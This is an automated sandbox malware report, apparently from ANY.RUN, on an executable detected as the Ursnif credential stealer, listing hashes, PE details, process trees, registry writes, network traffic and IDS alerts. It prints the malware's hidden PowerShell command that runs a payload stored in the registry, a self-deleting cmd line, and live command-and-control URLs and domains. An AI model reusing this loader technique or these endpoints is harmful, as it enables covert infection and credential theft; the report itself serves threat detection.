| File name: | crypt_2_3111.exe |
| Full analysis: | https://app.any.run/tasks/07078ecd-dcce-4d7c-9f5f-58345cb74da0 |
| Verdict: | Malicious activity |
| Threats: | Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. |
| Analysis date: | November 15, 2018, 18:57:19 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | E3CD4A1AB01EEB2FF6837559381542F1 |
| SHA1: | 93F52A360DF46A364138FE634FFDB4355A6B6B95 |
| SHA256: | D2F527DB306061A384D108D0672888AC9D8E03D84EEA92F6483FB566A4D613E0 |
| SSDEEP: | 12288:R71bp5ciRvOS1xQcBKAD9M5tpkKCj+ztLQdZAvY5r:RNcShSznCj8QdZAvY5 |
MALICIOUS
URSNIF was detected
- iexplore.exe (PID: 2240)
- iexplore.exe (PID: 1576)
Connects to CnC server
- iexplore.exe (PID: 2240)
- iexplore.exe (PID: 1576)
Runs injected code in another process
- powershell.exe (PID: 2128)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 564)
URSNIF Shellcode was detected
- explorer.exe (PID: 1604)
Stealing of credential data
- explorer.exe (PID: 1604)
Application was injected by another process
- explorer.exe (PID: 1604)
SUSPICIOUS
Reads Internet Cache Settings
- explorer.exe (PID: 1604)
Creates files in the user directory
- explorer.exe (PID: 1604)
- powershell.exe (PID: 2128)
Uses WMIC.EXE to create a new process
- explorer.exe (PID: 1604)
Starts CMD.EXE for commands execution
- explorer.exe (PID: 1604)
Checks for external IP
- nslookup.exe (PID: 1460)
Runs Chrome without HTTP2 support
- explorer.exe (PID: 1604)
- chrome.exe (PID: 2180)
INFO
Starts Microsoft Office Application
- explorer.exe (PID: 1604)
Creates files in the user directory
- WINWORD.EXE (PID: 2908)
- iexplore.exe (PID: 2240)
Changes internet zones settings
- iexplore.exe (PID: 1088)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2908)
Application launched itself
- iexplore.exe (PID: 1088)
- chrome.exe (PID: 2180)
Reads Internet Cache Settings
- iexplore.exe (PID: 2240)
- iexplore.exe (PID: 1576)
- chrome.exe (PID: 2180)
Reads internet explorer settings
- iexplore.exe (PID: 2240)
- iexplore.exe (PID: 1576)
Reads settings of System Certificates
- explorer.exe (PID: 1604)
Dropped object may contain TOR URL's
- chrome.exe (PID: 2180)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (76.4) |
|---|---|---|
| .exe | | | Win32 Executable (generic) (12.4) |
| .exe | | | Generic Win/DOS Executable (5.5) |
| .exe | | | DOS Executable Generic (5.5) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:11:14 12:07:40+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 226816 |
| InitializedDataSize: | 301056 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x7d3b |
| OSVersion: | 6 |
| ImageVersion: | - |
| SubsystemVersion: | 6 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 10.2.10.38 |
| ProductVersionNumber: | 10.2.10.38 |
| FileFlagsMask: | 0x0000 |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | English (U.S.) |
| CharacterSet: | Unicode |
| CompanyName: | Mindgrub Technologies Snow |
| FileDescription: | Guidesuit |
| FileVersion: | 10.2.10.38 |
| InternalName: | marksister.exe |
| LegalCopyright: | Copyright© 2015 - 2017 Mindgrub Technologies Snow, Inc. |
| OriginalFileName: | marksister.exe |
| ProductName: | Guidesuit |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 14-Nov-2017 11:07:40 |
| Detected languages: |
|
| Debug artifacts: |
|
| CompanyName: | Mindgrub Technologies Snow |
| FileDescription: | Guidesuit |
| FileVersion: | 10.2.10.38 |
| InternalName: | marksister.exe |
| LegalCopyright: | Copyright© 2015 - 2017 Mindgrub Technologies Snow, Inc. |
| OriginalFilename: | marksister.exe |
| ProductName: | Guidesuit |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000100 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 7 |
| Time date stamp: | 14-Nov-2017 11:07:40 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x000375F1 | 0x00037600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.81725 |
.rdata | 0x00039000 | 0x0000B95E | 0x0000BA00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.10231 |
.data | 0x00045000 | 0x00016B04 | 0x0000D400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 6.21924 |
.gfids | 0x0005C000 | 0x0000033C | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.33389 |
.tls | 0x0005D000 | 0x00000009 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0.0203931 |
.rsrc | 0x0005E000 | 0x00024450 | 0x00024600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.88417 |
.reloc | 0x00083000 | 0x000024B4 | 0x00002600 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.53339 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
2 | 5.50599 | 67624 | UNKNOWN | English - United States | RT_ICON |
3 | 5.29021 | 9640 | UNKNOWN | English - United States | RT_ICON |
4 | 5.66226 | 4264 | UNKNOWN | English - United States | RT_ICON |
5 | 4.71065 | 1128 | UNKNOWN | English - United States | RT_ICON |
100 | 2.67841 | 76 | UNKNOWN | English - United States | RT_GROUP_ICON |
Imports
ADVAPI32.dll |
KERNEL32.dll |
SHLWAPI.dll |
VERSION.dll |
ole32.dll |
Total processes
70
Monitored processes
32
Malicious processes
5
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 256 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\ycstkhbk.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) Modules
| |||||||||||||||
| 564 | "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\admin\AppData\Local\Temp\crypt_2_3111.exe" | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 884 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=908,15822932305361093660,9580859938482664365,131072 --enable-features=PasswordImport --disable-gpu-compositing --service-pipe-token=D6E58655BC77CD15F6F9B8380416B2D2 --lang=en-US --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=D6E58655BC77CD15F6F9B8380416B2D2 --renderer-client-id=11 --mojo-platform-channel-handle=3844 /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 68.0.3440.106 Modules
| |||||||||||||||
| 1016 | makecab.exe /F "C:\Users\admin\AppData\Local\Temp\FC56.bin" | C:\Windows\system32\makecab.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Cabinet Maker Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1088 | "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding | C:\Program Files\Internet Explorer\iexplore.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1460 | nslookup myip.opendns.com resolver1.opendns.com | C:\Windows\system32\nslookup.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: nslookup Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1576 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1088 CREDAT:203009 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1604 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2036 | cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\admin\AppData\Local\Temp\34F6.bi1" | C:\Windows\system32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2128 | powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\89726C36-545A-A301-A6CD-C8873A517CAB').crypptsp)) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
3 952
Read events
3 659
Write events
274
Delete events
19
Modification events
| (PID) Process: | (2908) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | tsm |
Value: 74736D005C0B0000010000000000000000000000 | |||
| (PID) Process: | (2908) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2908) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2908) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1299120144 | |||
| (PID) Process: | (2908) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1299120256 | |||
| (PID) Process: | (1604) explorer.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1299120143 | |||
| (PID) Process: | (1604) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count |
| Operation: | write | Name: | {7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\JVAJBEQ.RKR |
Value: 0000000002000000010000002D100000000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BF000080BFFFFFFFFFE066C724157DD40100000000 | |||
| (PID) Process: | (1604) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count |
| Operation: | write | Name: | HRZR_PGYFRFFVBA |
Value: 00000000270000003200000060961000090000000B000000DCC402007B00370043003500410034003000450046002D0041003000460042002D0034004200460043002D0038003700340041002D004300300046003200450030004200390046004100380045007D005C00410064006F00620065005C004100630072006F0062006100740020005200650061006400650072002000440043005C005200650061006400650072005C004100630072006F0052006400330032002E0065007800650000000000D09866060000000034E82802C05D5A740200000002000000000C00940F000000E8E82802010000000400000001000000010000006B001001D098660605000000D098660602020000E20101AE2B51EA0088E7280239B58D76E20101AE24E82802130000000400000030000000120000001D000000130000001D0000000E00000012000000020000003200000014000000E387EE7A38E82802F3AE5B7400574100E20101AE010000000000000011000000F0443500E8443500A14A52740000000020E800001F51EA7AD0E728028291917520E828028CD800006B51EA7AE4E72802B69C917590D8D4035C0000000401000084F2280244F228026B4E317411000000F0443500E8443500A8EAD403FA4F31740000000074E80000AB5EEA7A24E828028291917574E8280228E8280227959175000000008CD8D40350E82802CD9491758CD8D403FCE8280200D4D403E19491750000000000D4D403FCE8280258E82802000000000E0000002FCA04007B00440036003500320033003100420030002D0042003200460031002D0034003800350037002D0041003400430045002D004100380045003700430036004500410037004400320037007D005C007400610073006B006D00670072002E006500780065000000740020005200650061006400650072002000440043005C005200650061006400650072005C004100630072006F0052006400330032002E0065007800650000000000D09866060000000034E82802C05D5A740200000002000000000C00940F000000E8E82802010000000400000001000000010000006B001001D098660605000000D098660602020000E20101AE2B51EA0088E7280239B58D76E20101AE24E82802130000000400000030000000120000001D000000130000001D0000000E00000012000000020000003200000014000000E387EE7A38E82802F3AE5B7400574100E20101AE010000000000000011000000F0443500E8443500A14A52740000000020E800001F51EA7A24E800006751EA7AD8E728028291917524E828028CD800007351EA7AECE72802B69C917590D8D4034C06000004E8280200D4D40311000000F0443500E844350040B0C37504E8280220D4D40374E80000AB5EEA7A24E828028291917574E8280228E8280227959175000000008CD8D40350E82802CD9491758CD8D403FCE8280200D4D403E19491750000000000D4D403FCE8280258E82802090000000B000000DCC402007B00370043003500410034003000450046002D0041003000460042002D0034004200460043002D0038003700340041002D004300300046003200450030004200390046004100380045007D005C00410064006F00620065005C004100630072006F0062006100740020005200650061006400650072002000440043005C005200650061006400650072005C004100630072006F0052006400330032002E0065007800650000000000D09866060000000034E82802C05D5A740200000002000000000C00940F000000E8E82802010000000400000001000000010000006B001001D098660605000000D098660602020000E20101AE2B51EA0088E7280239B58D76E20101AE24E82802130000000400000030000000120000001D000000130000001D0000000E00000012000000020000003200000014000000E387EE7A38E82802F3AE5B7400574100E20101AE010000000000000011000000F0443500E8443500A14A52740000000020E800001F51EA7AD0E728028291917520E828028CD800006B51EA7AE4E72802B69C917590D8D4035C0000000401000084F2280244F228026B4E317411000000F0443500E8443500A8EAD403FA4F31740000000074E80000AB5EEA7A24E828028291917574E8280228E8280227959175000000008CD8D40350E82802CD9491758CD8D403FCE8280200D4D403E19491750000000000D4D403FCE8280258E82802 | |||
| (PID) Process: | (1604) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.rtf\OpenWithList |
| Operation: | write | Name: | a |
Value: WINWORD.EXE | |||
| (PID) Process: | (1604) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.rtf\OpenWithList |
| Operation: | write | Name: | MRUList |
Value: a | |||
Executable files
0
Suspicious files
69
Text files
88
Unknown types
9
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRF345.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FB3A9F94-830B-4C86-8257-747C49135883}.tmp | — | |
MD5:— | SHA256:— | |||
| 2908 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{51DF50E0-CE54-4569-BC18-9C1E9AF8CF96}.tmp | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFA7B4201A7442B67C.TMP | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF634AD6325311B1D8.TMP | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{734A9D01-E908-11E8-BFAB-5254004AAD11}.dat | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DFC1042B956B8E2690.TMP | — | |
MD5:— | SHA256:— | |||
| 1088 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\RecoveryStore.{6CB29C1B-E908-11E8-BFAB-5254004AAD11}.dat | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
68
DNS requests
33
Threats
16
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2240 | iexplore.exe | GET | — | 46.17.46.173:80 | http://cjwefomatt.com/images/YhIftpfcszNf4Yg0UT60/xASdI3HbtJtlMJK8Fd5/lYQQSZIJG7jSBo25P60jgE/qeM7NhkRYhBuD/bYpe8546/nnTigyYW0YJjT41iCQL4_2F/v1Ymm8HsoK/mCwNnehLClC7ls_2B/Ge_2BcmqV0ky/19v_2Bx1piW/nMi.avi | RU | — | — | malicious |
1576 | iexplore.exe | GET | 200 | 46.17.46.173:80 | http://cjwefomatt.com/images/JYt8cdhFh_2Ba6Za4NRUxw/pACGdVm6QKsvJ/_2BWeRRP/Oy4cHKcgnhvD66lQxo7qjAk/_2Fq16BwVX/N9HwkyMktB5yFAvSH/02cftoyt550m/Ko63NtIGXI2/KMVRN2pAG92YCq/R6jEpq4cCAd4D5C7nurtj/f3_2FUv.avi | RU | text | 1.75 Kb | malicious |
2180 | chrome.exe | GET | 200 | 172.217.168.34:80 | http://pagead2.googlesyndication.com/pagead/show_ads.js | US | text | 21.7 Kb | whitelisted |
1088 | iexplore.exe | GET | 200 | 46.17.46.173:80 | http://cjwefomatt.com/favicon.ico | RU | image | 5.30 Kb | malicious |
2180 | chrome.exe | GET | 200 | 153.121.72.211:80 | http://ifconfig.me/favicon.ico | JP | image | 483 b | shared |
2180 | chrome.exe | GET | 200 | 31.13.92.14:80 | http://connect.facebook.net/en_US/all.js | IE | text | 3.40 Kb | whitelisted |
2180 | chrome.exe | GET | 200 | 153.121.72.211:80 | http://ifconfig.me/ | JP | xml | 2.99 Kb | shared |
1604 | explorer.exe | GET | 200 | 205.185.216.10:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 54.4 Kb | whitelisted |
2180 | chrome.exe | GET | 200 | 192.229.233.25:80 | http://platform.twitter.com/widgets.js | US | text | 27.3 Kb | whitelisted |
2180 | chrome.exe | GET | 200 | 172.217.168.46:80 | http://www.google-analytics.com/r/__utm.gif?utmwv=5.7.2&utms=1&utmn=2064561231&utmhn=ifconfig.me&utmcs=UTF-8&utmsr=1280x720&utmvp=1024x586&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=-&utmdt=What%20Is%20My%20IP%20Address%3F%20-%20ifconfig.me&utmhid=1592042786&utmr=-&utmp=%2F&utmht=1542308496435&utmac=UA-10827147-6&utmcc=__utma%3D39658107.252432749.1542308496.1542308496.1542308496.1%3B%2B__utmz%3D39658107.1542308496.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmjid=1684794051&utmredir=1&utmu=DAAAAAAAAAAAAAAAAAQAAAAE~ | US | image | 35 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2180 | chrome.exe | 216.58.215.234:443 | safebrowsing.googleapis.com | Google Inc. | US | whitelisted |
2180 | chrome.exe | 216.58.215.228:443 | www.google.com | Google Inc. | US | whitelisted |
2180 | chrome.exe | 216.58.215.238:443 | apis.google.com | Google Inc. | US | whitelisted |
2180 | chrome.exe | 153.121.72.211:80 | ifconfig.me | SAKURA Internet Inc. | JP | unknown |
2180 | chrome.exe | 172.217.168.34:80 | pagead2.googlesyndication.com | Google Inc. | US | whitelisted |
2180 | chrome.exe | 31.13.92.14:80 | connect.facebook.net | Facebook, Inc. | IE | whitelisted |
2180 | chrome.exe | 31.13.92.14:443 | connect.facebook.net | Facebook, Inc. | IE | whitelisted |
1088 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2240 | iexplore.exe | 46.17.46.173:80 | cjwefomatt.com | LLC Baxet | RU | malicious |
1088 | iexplore.exe | 46.17.46.173:80 | cjwefomatt.com | LLC Baxet | RU | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
cjwefomatt.com |
| malicious |
resolver1.opendns.com |
| shared |
myip.opendns.com |
| shared |
podyerlosteol.com |
| malicious |
www.download.windowsupdate.com |
| whitelisted |
clientservices.googleapis.com |
| whitelisted |
www.gstatic.com |
| whitelisted |
www.google.de |
| whitelisted |
safebrowsing.googleapis.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2240 | iexplore.exe | A Network Trojan was detected | SC SPYWARE TrojanSpy:Win32/Ursnif variant |
2240 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
1576 | iexplore.exe | A Network Trojan was detected | SC SPYWARE TrojanSpy:Win32/Ursnif variant |
1576 | iexplore.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32.Dreambot HTTP GET Check-in |
1460 | nslookup.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup) |
1460 | nslookup.exe | Potential Corporate Privacy Violation | ET POLICY External IP Lookup Domain (myip.opendns .com in DNS lookup) |
1604 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected |
1604 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected |
1604 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:Win32/Ursnif malicious SSL Certificate Detected |
7 ETPRO signatures available at the full report
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ |
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cppĒ |
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp䵖Ѻ썾㣛紕ǔ䱘Ѻ
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|